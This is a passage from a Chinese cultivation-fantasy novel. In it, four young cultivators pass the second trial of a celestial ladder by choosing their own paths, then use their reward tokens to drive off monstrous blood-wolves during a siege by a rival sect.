三条路,三个可能的未来。
林照站起身,没有走任何一条。她闭上眼,回忆起老谷头临终前说的话:
“照丫头,道不是选出来的,是走出来的。你每走一步,道就延伸一步。重要的是,每一步都要踏踏实实,对得起自己的心。”
再睁开眼时,镜中的三条路消失了。
取而代之的,是一条全新的路——不是预先铺好的,是随着她的目光延伸出去的。路很窄,只能容一人通过,两旁是荒草和乱石,但远处有光。
那光不是仙宫的辉煌,不是炊烟的温暖,是……晨曦穿透云层时,那种清冽又充满希望的光。
林照踏出第二步。
脚下的镜子碎了,碎成无数光点,像蒲公英的种子,随风飘散。
她正式踏上了第二段天梯。
同一时间,第九十九级台阶上。
炎烁盘膝而坐,浑身大汗淋漓。他面前也有一面镜子,镜中不是路,是三团火焰。
第一团火,赤红如血,熊熊燃烧,火焰中隐约可见刀剑相交、尸山血海的景象。那是“战火”,是赤焰谷千年传承的核心——以战养道,以杀证道。
第二团火,金黄温暖,像炉灶里的柴火,火焰中浮现出村庄、炊烟、围炉夜话的画面。这是“炊火”,平凡,但能温暖人心。
第三团火,紫色幽深,静静燃烧,火焰中空无一物,却给人一种能焚尽万物的错觉。这是“真火”,传说中赤焰谷祖师参悟的至高火道,但千年无人炼成。
“你的道,欲往何处?”
炎烁盯着这三团火,拳头握得咯咯响。
他想选第一团。赤焰谷弟子,天生就该走战火之路,以火焰焚尽一切阻碍,登上仙道巅峰。师父是这么教的,师兄是这么做的,所有人都认为他该这么选。
可是……
镜中忽然浮现出一幅画面:那是三个月前,他在晒谷观养伤时,林照在灶前生火做饭。柴火不太好,烟很大,熏得她直咳嗽。炎烁看不下去,过去帮她,指尖一点,火焰就温顺地燃烧起来,不大不小,正好够煮一锅粥。
“炎烁师兄,你这控火的本事,真厉害。”林照说。
“这算什么。”炎烁当时不以为然,“赤焰谷随便一个外门弟子都能做到。”
“可他们不会用来煮粥。”林照笑了,“老谷头说过,本事没有高低,看用在什么地方。用来杀人,就是凶器;用来煮饭,就是炊具。”
那句话,炎烁当时没在意。
现在看着镜中的三团火,他却忽然懂了。
战火能焚天灭地,可焚尽之后呢?留下一片焦土?炊火温暖,可温暖之外呢?真火至高,可炼成之后呢?
他不知道。
他只知道,在晒谷观煮粥的那天,看着锅里的白米慢慢翻滚,闻着米香混着柴火味飘出来,他心里有种前所未有的平静。
那不是修行突破时的畅快,不是战胜强敌时的骄傲,就是……很简单的平静。像忙了一天后,坐在田埂上吹吹晚风的那种平静。
炎烁伸出手,没有触碰任何一团火,而是把手悬在三团火上方。
然后他缓缓握拳。
三团火焰同时震颤,开始向他掌心汇聚。战火的暴烈、炊火的温和、真火的纯粹,三种截然不同的火性相互碰撞、撕扯,炎烁的手掌瞬间皮开肉绽,鲜血滴落。
“你疯了吗?”镜中传来一个苍老的声音,像是赤焰谷祖师留下的残念,“火道相斥,强融必遭反噬!”
炎烁咬紧牙关,鲜血从嘴角溢出,却咧嘴笑了:“祖师……您当年创‘真火’时,可曾想过……火为什么一定要分种类?”
“火就是火,哪来为什么?”
“那为什么……战火只能用来战?炊火只能用来炊?”炎烁每说一个字,手掌的火焰就更乱一分,但他的眼神却越来越亮,“我在晒谷观煮粥时用的火……是战火?还是炊火?还是……就是我炎烁自己的火?”
镜中的声音沉默了。
三团火焰的碰撞达到了顶点,炎烁整条手臂都已经焦黑,骨头隐约可见。可他依然死死握着,不肯松手。
就在他即将支撑不住时,奇迹发生了。
三种火焰忽然停止了碰撞,开始……相互渗透。
赤红的战火中,渗入了一丝金黄的温暖;金黄的炊火中,多了一分紫色的纯粹;紫色的真火里,也染上了赤红的暴烈。
三团火,融成了一团。
不再是单纯的赤红、金黄或紫色,而是一种流动的、变幻的光——时而温暖如炉火,时而暴烈如战场,时而纯粹如琉璃。
炎烁松开手,那团新生的火焰静静悬浮在掌心,温顺得像只小猫。
他浑身的伤势以肉眼可见的速度愈合,焦黑的皮肤蜕落,露出新生的肌肤。更神奇的是,他的气息变了——不再是单纯的暴烈炽热,多了几分圆融,几分沉淀。
“此火……何名?”镜中的声音问,带着一丝颤抖。
炎烁想了想:“就叫‘人间火’吧。能战,能炊,能焚尽虚妄,也能温暖人心。这才是我要走的路。”
镜面碎裂,炎烁踏上第一百级台阶。
他通过的方式与林照不同,没有获得什么“守土人”的认可,但丹田中的那团新火,就是最好的证明。
青禾遇到的考验,又不一样。
她面前的镜中,没有路,没有火,而是一座丹炉。
丹炉三足,青铜铸就,炉身刻满古老的符文。炉下燃烧着青紫色的火焰,炉内悬浮着三颗丹药:
第一颗,赤红如血,丹香浓郁到刺鼻,闻一口就让人气血翻涌。这是“破障丹”,能强行突破瓶颈,但有损根基。
第二颗,碧绿如玉,丹香清雅,闻之神清气爽。这是“养元丹”,能固本培元,但见效缓慢。
第三颗,灰扑扑的,没有丹香,甚至看起来不像丹药,更像一颗泥丸。这是……她从未见过的种类。
“你的丹道,欲往何处?”
青禾盯着这三颗丹药,脑海中浮现出师父紫韵真人的话:
“禾儿,丹道有三重境界。一重炼丹,二炼丹心,三重……炼丹魂。”
“何为炼丹魂?”
“丹魂者,丹有魂也。”紫韵真人当时望向窗外,目光悠远,“不是丹药生出灵智,是炼丹之人,将自己的道、自己的魂,炼进丹中。这样的丹,不是药,是道种。”
青禾深吸一口气,伸手探向丹炉。
她没有去取任何一颗丹药,而是……将手伸进了炉火中。
“你做什么!”镜中传来惊呼。
青禾的手在青紫火焰中迅速焦黑、碳化,剧痛让她浑身颤抖,但她咬着牙,没有退缩。
“丹道丹道……”她喃喃道,“若连自己的道都不敢投入炉中,炼出的丹,又怎能承载他人的道?”
手已经完全碳化了,只剩下骨架。但就在骨骼即将碎裂的瞬间,奇异的事情发生了——
碳化的皮肤下,忽然透出淡淡的青光。那光不是从外照入,是从骨子里透出来的。光芒所过之处,焦黑的皮肤重新焕发生机,血肉重生,肌肤复现。
而她的手心里,多了一粒种子。
不是丹药,就是最普通的植物种子,像麦种,又像草籽。
青禾将种子取出,放在掌心。种子在她温润的掌心躺了片刻,忽然……发芽了。
不是缓慢的生长,是一瞬间,抽出了嫩绿的芽,长出了两片小小的叶子。
叶子在她掌心轻轻摇晃,像是在呼吸。
“此丹……何用?”镜中的声音问。
“不知道。”青禾实话实说,“它会长成什么,开出什么花,结出什么果,我不知道。但我知道——它活着,它有无限可能。”
她顿了顿,轻声说:“我的丹道,不求炼制最强的丹药,只求炼出的每一粒丹,都能给服丹之人,多一分生机,多一分可能。就像这粒种子——我不知道它能长成什么,但我知道,只要给它土壤、阳光、雨水,它就一定能长成它该有的样子。”
镜面碎裂时,青禾掌心的那株嫩芽,化作一道青光,没入她的眉心。
她感觉到,自己的丹道根基,被彻底重塑了。从此,她炼出的每一颗丹,都将蕴含一丝“生机道韵”——或许不能让人立地成仙,但能在绝境中,给人留一线希望。
而此刻,在第二段天梯的第十三级台阶上,林照遇到了麻烦。
她没有再看到镜子,也没有遇到具体的考验,只是……走不动了。
不是体力不支,是每往上走一级,肩上的“重量”就增加一分。那不是物理的重量,是某种更玄妙的东西——像是整片大地的期盼、所有生灵的牵挂、还有那些平凡日常的分量,都压在了她肩上。
走到第十三级时,她已经寸步难行。
汗水顺着下巴滴落在台阶上,瞬间蒸发。她弯着腰,双手撑着膝盖,大口喘息。眼前开始发黑,耳朵嗡嗡作响。
“放弃吧。”一个温柔的声音在耳边响起,像是母亲的呢喃,“守土人这条路,太苦了。你要背负的,是整个世界的重量。何必呢?选条轻松的路不好吗?”
林照没说话,只是咬紧牙关,试图抬起脚。
脚像被钉在了台阶上,纹丝不动。
“想想晒谷观的孩子们。”那个声音继续说,“你若不回去,他们怎么办?李虎能扛起一个家吗?豆苗才十岁,他需要你。还有阿茸,它老了,活不了几年了,你不想陪它走完最后一程吗?”
泪水混着汗水流下来。
林照当然想。她比任何人都想回去,回到那片麦田,回到那个小院,回到平凡的日常里。什么仙山,什么天梯,什么大道,她其实……不在乎。
可是……
她想起了鬼哭峡里,那些被抽干的金丹修士绝望的眼神。想起了血煞阵中,沙狼化作血雾的瞬间。想起了韩长老那句“都是资粮”。
如果她放弃了,如果所有像她一样的人放弃了,那这个世界,会变成什么样?
强者肆意掠夺,弱者任人宰割。修仙者视凡人为蝼蚁,视大地为矿藏,予取予求。那样的世界,晒谷观能独善其身吗?孩子们能平安长大吗?阿茸能在苜蓿坡上安心吃草吗?
不能。
林照缓缓直起腰。
她低下头,看着腰间那柄镰刀——李虎给的,木柄上还有他手掌的温度。她伸手握住刀柄,粗糙的木纹硌着掌心,却让她清醒了些。
然后她做了一件让那个声音都惊愕的事——
她开始,用镰刀在台阶上刻字。
不是符文,不是咒语,就是最简单的字。一笔一划,刻得很慢,但很认真:
“麦”
刻完一个字,她喘了口气,继续刻第二个:
“田”
第三个:
“在”
……
“心”“就”“在”
八个字,刻了整整一炷香时间。
刻完最后一笔,林照松开镰刀,双手撑着台阶,剧烈喘息。但神奇的是,肩上的重量……轻了一些。
不是真的减轻了,是她忽然明白了——这些重量,不是负担,是根。
就像麦子的根扎进土里,扎得越深,麦秆就越稳,越能扛住风雨。她肩上这些牵挂、这些期盼、这些平凡的分量,就是她的根。根越深,她站得越稳。
林照站起身,这一次,脚步轻松了许多。
她继续向上。
走到第二十级时,她追上了沈不言。
这位剑修师兄正面临自己的困境——他面前悬着三柄剑。
第一柄,金光璀璨,剑气冲霄,一看就是绝世神兵。剑身刻着两个古篆:“斩缘”。
第二柄,朴实无华,青钢剑身,剑柄缠着麻绳,正是沈不言自己的佩剑。
第三柄,是虚影,只有剑的形状,没有实体,但散发着一种“无剑胜有剑”的玄妙意境。
“你的剑道,欲往何处?”
沈不言看着这三柄剑,久久不语。
他想起师父云游子的话:“不言,你可知剑道的最高境界是什么?”
“弟子不知。”
“是无剑。”云游子当时抚须道,“手中无剑,心中有剑。万物皆可为剑,又万物皆不为剑。到了那个境界,你就不再是‘用剑的人’,你就是‘剑’本身。”
沈不言当时震撼不已,将这句话奉为圭臬,日夜参悟。
可现在,看着这三柄剑,他忽然有了疑问——
无剑,真的是尽头吗?
若是尽头,那为何还要有“斩缘剑”?为何还要有自己的佩剑?若是尽头,那从一开始就不该握剑,不是吗?
“沈不言。”林照走到他身边,轻声问,“你在想什么?”
沈不言指着那三柄剑:“林照,你说……剑道,一定要有‘尽头’吗?”
林照想了想:“老谷头说过,麦子从播种到收割,是一个轮回。但收割不是尽头——麦子会变成面粉,面粉会变成馒头,馒头被人吃了,人继续种麦子。你说,麦道的尽头在哪里?”
沈不言一怔。
“也许……根本就没有尽头。”林照说,“就像一条河,从雪山发源,流经草原、山谷、平原,最后汇入大海。你能说,雪山是尽头吗?还是大海是尽头?都不是。河就是河,一直在流,一直在变,但始终是河。”
她看向沈不言:“剑道也一样吧。你握剑时,剑道在手中;你无剑时,剑道在心中;你万物为剑时,剑道在万物中。它一直在,只是以不同的形式存在。何必非要找一个‘尽头’呢?”
沈不言如遭雷击。
他盯着自己的那柄青钢剑,忽然笑了。
是啊,何必呢?
他伸手,不是去拿那柄金光璀璨的“斩缘剑”,也不是去触碰那虚无缥缈的“无剑虚影”,而是……握住了自己的佩剑。
剑入手,熟悉的重量,熟悉的温度。<
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“我的剑道,”沈不言一字一句,“就在这柄剑里。在我握它的每一刻,在我挥它的每一次,在我守护的每一件事里。它没有尽头,因为它就是路本身。”
话音落下,“斩缘剑”和“无剑虚影”同时破碎,化作光点融入青钢剑中。
剑身没有变得更华丽,反而更加朴实,但剑意……圆融了。
沈不言感觉到,自己停滞的金丹中期瓶颈,松动了。
不是突破,是更根本的蜕变——他的剑道,终于找到了自己的方向。不是追求某种“境界”,而是在每一次拔剑时,都清楚自己为何拔剑。
两人并肩继续向上。
走到第三十级时,他们看到了炎烁。
这小子正盘膝坐在台阶上,掌心托着那团新生的“人间火”,火焰变幻不定,时而温暖,时而暴烈,时而纯粹。
“炎烁师兄,你的火……”林照惊讶道。
炎烁咧嘴一笑,笑容里有种前所未有的通透:“林师妹,沈师兄,我好像……找到自己的路了。”
他托起火焰:“以前在赤焰谷,师父总说,火要纯,要烈,要焚尽一切。可现在我觉得……火为什么要‘纯’?人间本来就是混杂的——有战火,有炊火,有真火,有凡火。我的火,就是人间的火。它不纯,但真。”
沈不言赞许地点头:“道在真,不在纯。炎烁师弟,你悟了。”
三人结伴,继续攀登。
越往上走,台阶上的考验越少,但压力越大。那种“重量感”再次袭来,这次不仅是林照,连沈不言和炎烁都感觉到了。
仿佛整座天梯、整座仙山、甚至整片天地,都在审视着他们——审视他们的道心是否坚定,审视他们的方向是否清晰。
走到第五十级时,青禾追了上来。
这位紫阳宗的女修脸色苍白,但眼神清明如洗。她掌心的那株嫩芽已经长到了三寸高,翠绿的叶片上,隐隐有符文流转。
“青禾师姐,你这是……”林照惊讶。
“我的丹道。”青禾轻声说,“从此以后,我炼的每一颗丹,都会蕴含一丝‘生机’。或许不能让人立地成仙,但……能给人一线希望。”
她看向前方茫茫的台阶,眼中闪过一丝担忧:“但我感觉到,后面的路……更难了。”
确实。
从第五十一级开始,台阶不再是单纯的考验,而是开始“映照”登梯者内心最深处的恐惧和执念。
林照看到了晒谷观的大火,这次更加真实,她甚至能感受到火焰的灼热,听到孩子们的哭声。
沈不言看到了云游剑派的覆灭,师兄弟们一个个倒下,师父云游子浴血奋战,最终被一剑穿心。
炎烁看到了赤焰谷化为焦土,所有同门都在烈火中哀嚎,而他……无能为力。
青禾看到了紫阳宗丹炉尽毁,传承断绝,她跪在废墟中,手中只剩下一粒发不出芽的种子。
恐惧如潮水般涌来。
但这一次,没有人退缩。
林照握紧镰刀,继续向上走——她知道那是幻象,真正的晒谷观,有李虎,有豆苗,有紫阳宗弟子守护,不会有事。
沈不言拔出剑,剑光如月,斩碎幻象——云游剑派的道,不在山门,在每一个持剑守护的人心中。
炎烁托起人间火,火焰温暖而坚定——赤焰谷若真到了那一天,他会用这团火,为同门点亮回家的路。
青禾掌心那株嫩芽,在幻象中依然翠绿——丹道传承,不在丹炉,在炼丹之人能否将生机传递下去。
他们一步步向上,每一步都踏碎一层幻象,每一步都更加坚定。
走到第九十九级时,四人停下。
前方,就是第二问的终点——第一百级台阶。
这一级台阶,比第一问的终点更加恢弘。它宽达三丈,表面不再是白玉,而是某种半透明的晶石。晶石内部,有光影流转,像封存着万千世界的缩影。
而在台阶正中央,悬浮着一枚令牌。
令牌古拙,非金非玉,通体青灰色,正面刻着一个“道”字,背面是山川草木的浮雕。
“这是……道令?”青禾不确定地说。
“应该是通过第二问的凭证。”沈不言沉吟道,“古籍记载,天梯三问,每过一问,可得一令。三令合一,方可登顶。”
炎烁舔了舔嘴唇:“那还等什么?拿啊!”
林照却摇头:“没那么简单。”
她指向令牌周围——那里,有四道虚影正在缓缓凝聚。
第一道,是个老农,扛着锄头,笑容朴实。
第二道,是个剑客,背负长剑,目光如电。
第三道,是个丹师,手持药杵,气息温和。
第四道,是个火修,周身烈焰,霸气凛然。
四道虚影凝聚成型后,同时开口,声音叠在一起,如洪钟大吕:
“道之歧路,终须一选。”
“你们四人,同登此阶,但道令只有一枚。”
“谁取?”
问题很简单,但背后的含义,却沉重得让人喘不过气。
道令只有一枚。
这意味着,他们四人中,只有一人能正式通过第二问,继续向上。其余三人……要么放弃,要么……等下一次。
可天梯三百年一现,下一次,他们还在吗?
四人沉默。
炎烁最先开口,咧嘴一笑:“这有什么好选的?林师妹拿。要不是她,咱们早在第一问就卡住了。”
青禾点头:“我同意。林师妹的道,最纯粹,也最坚定。”
沈不言没说话,只是默默退后一步,用行动表明了态度。
林照看着三人,眼眶发热。
她想起这一路走来——沈不言教她剑道基础,炎烁帮她控火炼丹,青禾赠她丹药符箓。没有他们,她走不到这里。
而现在,他们要把唯一的机会,让给她。
“不行。”林照摇头,“道令只有一个,但道……不是只有一个。我们各凭本事,谁拿到,就是谁的。”
“林师妹……”
“就这么定了。”林照语气坚决,“否则,这道令我拿得不安心。”
四人再次沉默。
最终,沈不言点头:“好。那就各凭本事。”
四人同时踏上了第一百级台阶。
就在踏上的瞬间,异变突生——
不是争斗,不是考验,而是……
四道虚影忽然合而为一,化作一个模糊的身影。那身影看不清面容,但气息浩瀚如海,深邃如星空。
身影开口,声音不再重叠,而是温和而悠远:
“道非独行,路非唯一。”
“你们四人,道不同,但心同。”
“故,道令有四。”
话音落下,悬浮的那枚令牌忽然一分为四,化作四道流光,分别飞向四人。
林照接住飞来的令牌——入手温润,正面依然是“道”字,但背面的浮雕变了,变成了一亩麦田,田边有个小小的观院,正是晒谷观。
沈不言的令牌背面,是一柄剑,剑插在山巅,山下是万家灯火。
炎烁的令牌背面,是一团火,火焰中隐约可见炊烟和刀剑。
青禾的令牌背面,是一粒种子,种子正在发芽。
四枚道令,四种道。
但都在说同一件事——道在人间,道在守护,道在生机。
虚影渐渐淡去,留下一句话在空气中回荡:
“第三问,在天梯尽头。”
“问的是:若道与愿违,若守与失衡,若生与死择——你,当如何?”
声音消散。
四人手握道令,站在第一百级台阶的顶端,望向更高处。
第二段天梯,通过了。
而前方,第三段天梯的起点,已经亮起微光。
路还很长。
但这一次,他们不是独自前行。
39. 天梯之外
道令入手的第七个时辰,天黑了。
不是自然的天黑——大漠的黄昏本该漫长,残阳如血,会在地平线上挣扎很久才肯沉没。可此刻,暮色如墨汁倾泻,几乎在眨眼间就吞噬了最后的天光。
仙山脚下的天梯,依然亮着温润的白光,像一条通往云端的玉带。但天梯之外的世界,却陷入了一种诡异的、深沉的黑暗。
七宗营地。
青禾点燃了最后一盏风灯,昏黄的光晕在帐篷里摇曳,勉强照亮围坐的八张面孔——七宗带队弟子,加上林照。
气氛凝重如铁。
“天衍宗在布‘遮天阵’。”凌虚子最先开口,这位玄霄阁的师兄脸色比白天更苍白,眼下的乌青在灯光下显得格外刺眼,“我在古籍中见过记载——此阵以血煞为基,融入了‘夜幕道则’,一旦成型,可遮蔽一方天地的日月星光,断绝灵气流转。”
“他们想干什么?”碧水门的水月仙子声音发颤,“把我们都困死在这里?”
“不止。”青云门的一位老道摇头,“遮天阵断绝的不仅是灵气,还有……生机。草木会枯萎,水源会枯竭,生灵会衰竭。这是要把这片大荒,彻底化为死地。”
“然后呢?”炎烁握紧拳头,“他们自己也在这儿,就不怕死?”
凌虚子沉默片刻,缓缓吐出四个字:“他们有‘路’。”
帐篷里骤然安静。
所有人都明白了。天衍宗敢布这种绝户阵,必然有离开的方法——或许是什么传送法宝,或许是某种秘术。而他们这些被困在阵中的人,将成为献祭给仙山的……祭品?
“我不信。”林照忽然说。
众人看向她。
“遮天阵再强,也不可能完全隔绝天地。”林照站起身,走到帐篷门口,掀开帘子望向外面漆黑的夜空,“老谷头说过,这世上没有真正的绝路。就像麦子——你把它埋在土里,以为它死了,可一场雨过后,它就发芽了。”
她转回头,目光扫过众人:“天衍宗想困死我们,那我们就让他们看看——困不死的,才叫活人。”
话虽如此,但现实摆在眼前。
营地里的补给,最多还能撑三天。水已经告急——附近唯一的水源在鬼哭峡下游,现在肯定被天衍宗控制了。丹药符箓倒还有些,但遮天阵隔绝灵气,用一点少一点,无法恢复。
更棘手的是人心。
二十一名登上天梯的弟子,已经通过了前两问,手中都有道令。这意味着,只要通过第三问,他们就有可能真正踏入仙山,获得机缘。
可若留在营地抵抗,很可能……等不到第三问开启的那天。
“我有一个提议。”凌虚子深吸一口气,“放弃营地,全员退入天梯范围。天梯有仙山庇护,遮天阵的影响会弱很多。我们可以据守阶梯,等待转机。”
“那补给呢?”炎烁问,“天梯上可没水没粮。”
“带上去。”凌虚子看向青禾,“青禾师妹,紫阳宗还有多少辟谷丹?”
青禾清点了储物袋:“四十七枚。够二十一人撑两天。”
“水呢?”
“净水符还能凝出一些,但不够。”
“那就省着用。”凌虚子咬牙,“两天时间,足够我们想出办法。或者……等仙山第三问开启。”
提议很冒险,但似乎是眼下唯一的选择。
众人沉默着,开始收拾行装。帐篷、阵盘、多余的物资,全部舍弃,只带必要的丹药符箓和干粮。
林照回到自己的帐篷,看着那盏将熄的风灯,久久未动。
沈不言走进来:“在想什么?”
“想陈砚和慕云。”林照轻声说,“他们还在外面。遮天阵一起,他们……”
“他们会没事的。”沈不言在她身边坐下,“陈砚机灵,李慕云沉稳,两人又熟悉大荒地形。只要避开天衍宗主力,自保应该没问题。”
话虽这么说,但两人都知道——在遮天阵里,凡人比修士更难熬。没有灵气护体,生机流失的速度会快得多。
“沈不言。”林照忽然问,“你说……天梯为什么会问那些问题?”
沈不言一怔。
“第一问为何修行,第二问道往何处,第三问……道与愿违时当如何。”林照看着自己的双手,“这些问题,好像……不是在筛选谁能成仙,是在筛选谁‘配’走这条路。”
她抬起头,眼中映着摇曳的灯火:“如果天梯真是囚笼,为什么要问这些问题?如果飞升真是骗局,为什么还要设置这些考验?这说不通。”
沈不言沉默良久,才缓缓道:“也许……仙山和天梯,本身没有善恶。它只是一面镜子,照出登梯者的本心。有人登上去,成了仙界的‘肥料’;但也可能有人登上去,会看到不一样的风景。”
“比如?”
“比如镇渊子,云游师祖,老谷头。”沈不言说,“他们登过天梯,但选择了回来,选择种田守土。还有周云鹤,他明明有机会登梯,却选择留在洞里刻那些画。”
他顿了顿,眼中闪过某种明悟:“也许,天梯真正的考验,不是‘登上去’,而是‘登上去之后,你选择什么’。”
帐篷外传来集合的哨声。
林照和沈不言对视一眼,收拾好东西,走了出去。
营地中央,二十一人已经集结完毕。每个人脸上都带着疲惫,但眼神依然坚定——能通过前两问的人,道心都不会轻易动摇。
“出发。”凌虚子一挥手。
队伍向天梯方向移动。黑夜如墨,只有天梯的白光是指引方向的灯塔。
可就在队伍即将踏入天梯范围时,异变突生——
黑暗中,突然亮起了数十点赤红色的光。
那不是灯火,是……眼睛。
狼群。
不,不是普通的狼。这些狼的体型比寻常沙狼大了一倍,皮毛赤红,眼中燃烧着血色的火焰。更可怕的是,它们身上散发着淡淡的灵气波动——虽然微弱,但确实是灵气。
“血狼……”水月仙子声音发颤,“天衍宗用血煞阵催生的怪物。它们以生灵精血为食,不惧伤痛,不死不休。”
话音未落,狼群动了。
三十余头血狼如离弦之箭扑来,速度快得骇人。冲在最前的一头,张开血盆大口,腥风扑面!
“结阵!”凌虚子厉喝。
七宗弟子迅速结成圆阵,各色法术光芒亮起。赤焰谷的火焰、碧水门的水箭、青云门的风刃、紫阳宗的丹火……一时间,黑夜被法术的光芒撕裂。
林照没有立刻出手。她闭上眼睛,将心神沉入脚下的土地。
遮天阵虽然隔绝了大部分灵气,但地脉还在。这片大荒的地脉虽然贫瘠,但依然在顽强地搏动,像垂死者的心跳。
她尝试沟通地脉,却感觉到一股强烈的抗拒——那是血煞阵的污染,像脓疮一样附着在地脉上,散发着腐烂的气息。
“不行……”林照额头渗出冷汗,“地脉被污染了,我调动不了。”
说话间,一头血狼突破了法术防线,直扑阵中心的青禾!青禾正在操控丹火,来不及回防,眼看就要被咬中——
一道剑光闪过。
沈不言的剑,快得看不清轨迹。血狼的头颅飞起,腥臭的血液喷溅而出。但诡异的是,那无头的狼身竟没有倒下,反而继续前扑,爪子狠狠抓向沈不言!
沈不言侧身避开,剑光再起,将狼身斩成数段。这次,狼尸终于不动了,但那些碎块仍在蠕动,像有生命般试图重新聚合。
“杀不死?!”炎烁大惊。
“用火!”凌虚子吼道,“焚尽它们!”
炎烁咬牙,双手结印,一团炽烈的火焰从他掌心喷出,瞬间吞没了那堆碎肉。火焰中传来凄厉的嚎叫,碎肉在烈火中扭曲、碳化,最终化为灰烬。
有用,但代价太大——炎烁这一击,耗去了他三成灵力。而周围,还有三十多头血狼。
战斗陷入了僵持。
七宗弟子边战边退,试图退入天梯范围。但血狼极其狡猾,始终封堵着退路,逼得他们不得不全力应战。
灵力在飞速消耗。
一炷香后,已经有两名弟子受伤——碧水门的一个师妹手臂被撕下一块肉,青云门的一个师弟胸口被狼爪划开三道深可见骨的伤口。青禾忙着救治,但丹药也在快速消耗。
“这样下去不行!”炎烁气喘吁吁,他已经是第三次释放大火球了,灵力即将见底。
林照看着眼前的战局,又望向天梯的方向——只有不到五十丈,却像天堑般难以跨越。
她忽然想起了什么。
从怀中掏出那枚道令——背面是晒谷观的浮雕。她记得通过第二问时,虚影说过“道令有四”,还说“道非独行,路非唯一”。
如果道令真的只是凭证,为什么要有不同的浮雕?
她将一丝心神注入道令。
瞬间,她“看”到了一幅画面——
不是幻象,是某种……指引?
画面中,她站在晒谷观的麦田里,手持镰刀,正在收割麦子。麦浪起伏,金黄色的穗子沉甸甸的,在风中沙沙作响。而麦田四周,隐约有四道光柱升起——分别在东、南、西、北四个方位。
光柱的颜色不同:东方青,南方赤,西方白,北方黑。
四道光柱在空中交汇,形成一道光幕,笼罩了整个麦田。光幕中,麦子长得更加茁壮,连田边的野草都翠绿欲滴。
画面淡去。
林照睁开眼睛,心中升起一个大胆的猜测。
她看向沈不言、炎烁、青禾——三人手中都有道令,浮雕分别是剑、火、种子。
“沈师兄!炎烁师兄!青禾师姐!”林照喊道,“把你们的力量,注入道令!”
三人虽然不解,但出于信任,还是照做了。
沈不言的剑意、炎烁的火焰、青禾的丹火生机,三种力量分别注入三枚道令。道令瞬间亮起——沈不言的道令发出清冷的白光,炎烁的发出炽烈的赤光,青禾的发出温润的绿光。
而林照手中的道令,则亮起了厚重的黄光。
四色光芒在空中交汇,并没有形成什么惊天动地的法术,只是……照亮了周围五十丈的范围。
但就在这光芒照耀下,那些凶悍的血狼,突然发出了惊恐的哀嚎。
它们身上的血色迅速褪去,眼中的火焰熄灭,体型也缩小回普通沙狼的大小。然后,这些狼像从噩梦中惊醒般,茫然地看了看四周,夹着尾巴,仓惶逃进了黑暗。
“这……”所有人都愣住了。
林照却明白了。
四枚道令,代表四种“道”:守土之厚德(黄)、剑道之锋锐(白)、火焰之炽烈(赤)、丹道之生机(绿)。四道合一,便是“人间正道”。
而血狼是血煞阵催生的邪物,最惧的,就是这种纯粹、坚定、扎根人间的正道气息。
“快走!”凌虚子最先反应过来,“趁现在,进天梯!”
队伍迅速移动,这次再无阻碍。二十一人顺利退入天梯范围,踏上第一级台阶的瞬间,所有人都松了口气。
天梯的白光笼罩下来,那种被黑暗吞噬的窒息感顿时减轻了大半。虽然灵气依然稀薄,但至少……安全了。
众人瘫坐在台阶上,疲惫如潮水般涌来。
凌虚子清点人数——二十一人,都在。但受伤的有七个,其中两个伤势较重,虽然服了丹药,但能否撑过今晚还是未知数。
“轮流值守。”凌虚子哑声道,“两人一组,一个时辰一换。其他人抓紧休息,恢复灵力。”
林照主动要求第一班值守。沈不言陪她。
两人坐在第十级台阶上,望着台阶外浓得化不开的黑暗。天梯的白光只能照亮周围三十丈,再往外,就是纯粹的、吞噬一切的黑。
“你说,”林照轻声问,“陈砚和慕云,现在在哪儿?”
沈不言没回答。他也不知道。
黑暗中,忽然传来一声微弱的哨音。
不是七宗的信号,是……很熟悉的调子。
林照浑身一震——那是晒谷观孩子们玩的竹哨,调子是老谷头教的一首东域童谣,叫《麦田谣》。她会吹,李慕云……也会吹。
“是李慕云!”林照站起身,就要往外冲。
沈不言一把拉住她:“可能是陷阱!”
“不会。”林照摇头,“那调子后面有一段,只有我们那一带的孩子知道。”
她凝神细听。哨音断断续续,但确实吹完了整首《麦田谣》,包括最后那段改动的旋律。
“是他们。”林照肯定道,“他们在外面,还活着。”
“可我们出不去。”沈不言看向黑暗,“外面有血狼,还有可能埋伏着天衍宗的人。”
林照咬紧嘴唇。
就在这时,哨音又响了。这次不是童谣,是三长两短,重复了两遍。
陈砚和李慕云之间约定的暗号——三长两短,代表“安全,可来”。
“他们找到安全的地方了。”林照说,“在等我们。”
沈不言沉吟片刻:“我去叫醒凌虚子师兄,商量一下。”
“不。”林照摇头,“人多了反而容易被发现。我一个人去。”
“太危险!”
“我有道令。”林照举起那枚泛着黄光的令牌,“刚才你也看到了,道令的光芒能驱散邪物。我快去快回,天亮前一定回来。”
沈不言看着她坚定的眼神,知道劝不住,只能点头:“我送你到天梯边缘。若有事,立刻放信号——就用道令的光,我能看到。”
两人悄悄走下台阶,来到天梯范围边缘。
林照深吸一口气,将道令握在手中,黄光如灯笼般照亮前路。她踏入黑暗。
一步,两步……
黑暗像粘稠的液体包裹过来,道令的光芒只能照亮身周三丈。耳边传来各种诡异的声音——风声像呜咽,沙粒摩擦声像低语,远处隐约还有狼嚎。
林照按照哨音的方向前进。约莫走了半里,前方出现了一片乱石堆。
哨音就是从石堆后传来的。
她小心翼翼靠近,手按在木斧柄上。绕过最大的一块岩石,她看见了——
一个简陋的岩隙,里面燃着微弱的篝火。陈砚和李慕云靠坐在岩壁下,两人都狼狈不堪,衣衫破损,脸上有血污,但眼睛还亮着。
“林照!”陈砚惊喜地要站起来,却牵动了伤口,疼得龇牙咧嘴。
李慕云扶住他,对林照露出疲惫
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但温暖的笑容:“就知道你会来。”
岩隙里还有王叔和另外三个伙计,都受了不同程度的伤。但让林照心惊的是——岩隙深处,躺着五个人。
五个昏迷不醒的人,穿着各色道袍,有玄霄阁的,有碧水门的,有青云门的……正是之前在天梯上,没有通过第一问、被迫退出的那五名弟子。
“他们……”林照快步上前查看。
“我们撤离时发现的。”李慕云低声道,“都昏迷在鬼哭峡东边的沙沟里,身上有伤,但不算致命。应该是天衍宗的人懒得杀,扔在那里的。”
林照检查了五人的伤势——确实不致命,但都中了某种迷药,短时间醒不过来。她取出青禾给的清心丹,给每人喂了一颗。
“你们怎么逃出来的?”林照问陈砚。
陈砚咧嘴一笑,扯到了嘴角的伤口,疼得吸了口气:“多亏了慕云的地图。我们没走大路,走了条古商道,绕过了天衍宗的主力。但路上遇到了几波血狼,折了七个兄弟……”
他声音低下去,眼中闪过一丝痛色。
